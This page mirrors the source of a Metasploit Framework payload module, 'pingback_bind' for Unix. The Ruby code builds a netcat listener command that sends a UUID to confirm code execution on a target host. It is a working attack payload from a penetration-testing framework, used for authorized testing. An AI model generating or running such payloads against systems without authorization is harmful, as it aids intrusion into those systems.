CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/unix/pingback_bind.rb
Views: 11780
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 103
10
11
include Msf::Payload::Single
12
include Msf::Payload::Pingback
13
include Msf::Payload::Pingback::Options
14
15
def initialize(info = {})
16
super(merge_info(info,
17
'Name' => 'Unix Command Shell, Pingback Bind TCP (via netcat)',
18
'Description' => 'Accept a connection, send a UUID, then exit',
19
'Author' =>
20
[
21
'asoto-r7'
22
],
23
'License' => MSF_LICENSE,
24
'Platform' => 'unix',
25
'Arch' => ARCH_CMD,
26
'Handler' => Msf::Handler::BindTcp,
27
'Session' => Msf::Sessions::Pingback,
28
'PayloadType' => 'cmd',
29
'RequiredCmd' => 'netcat'
30
))
31
register_advanced_options(
32
[
33
OptString.new('NetcatPath', [true, 'The path to the Netcat executable', 'nc'])
34
]
35
)
36
end
37
38
#
39
# Constructs the payload
40
#
41
def generate(_opts = {})
42
super.to_s + command_string
43
end
44
45
#
46
# Returns the command string to use for execution
47
#
48
def command_string
49
self.pingback_uuid ||= self.generate_pingback_uuid
50
"printf '#{pingback_uuid.scan(/../).map { |x| "\\x" + x }.join}' | (#{datastore['NetcatPath']} -lp #{datastore['LPORT']} || #{datastore['NetcatPath']} -l #{datastore['LPORT']})"
51
end
52
end
53
54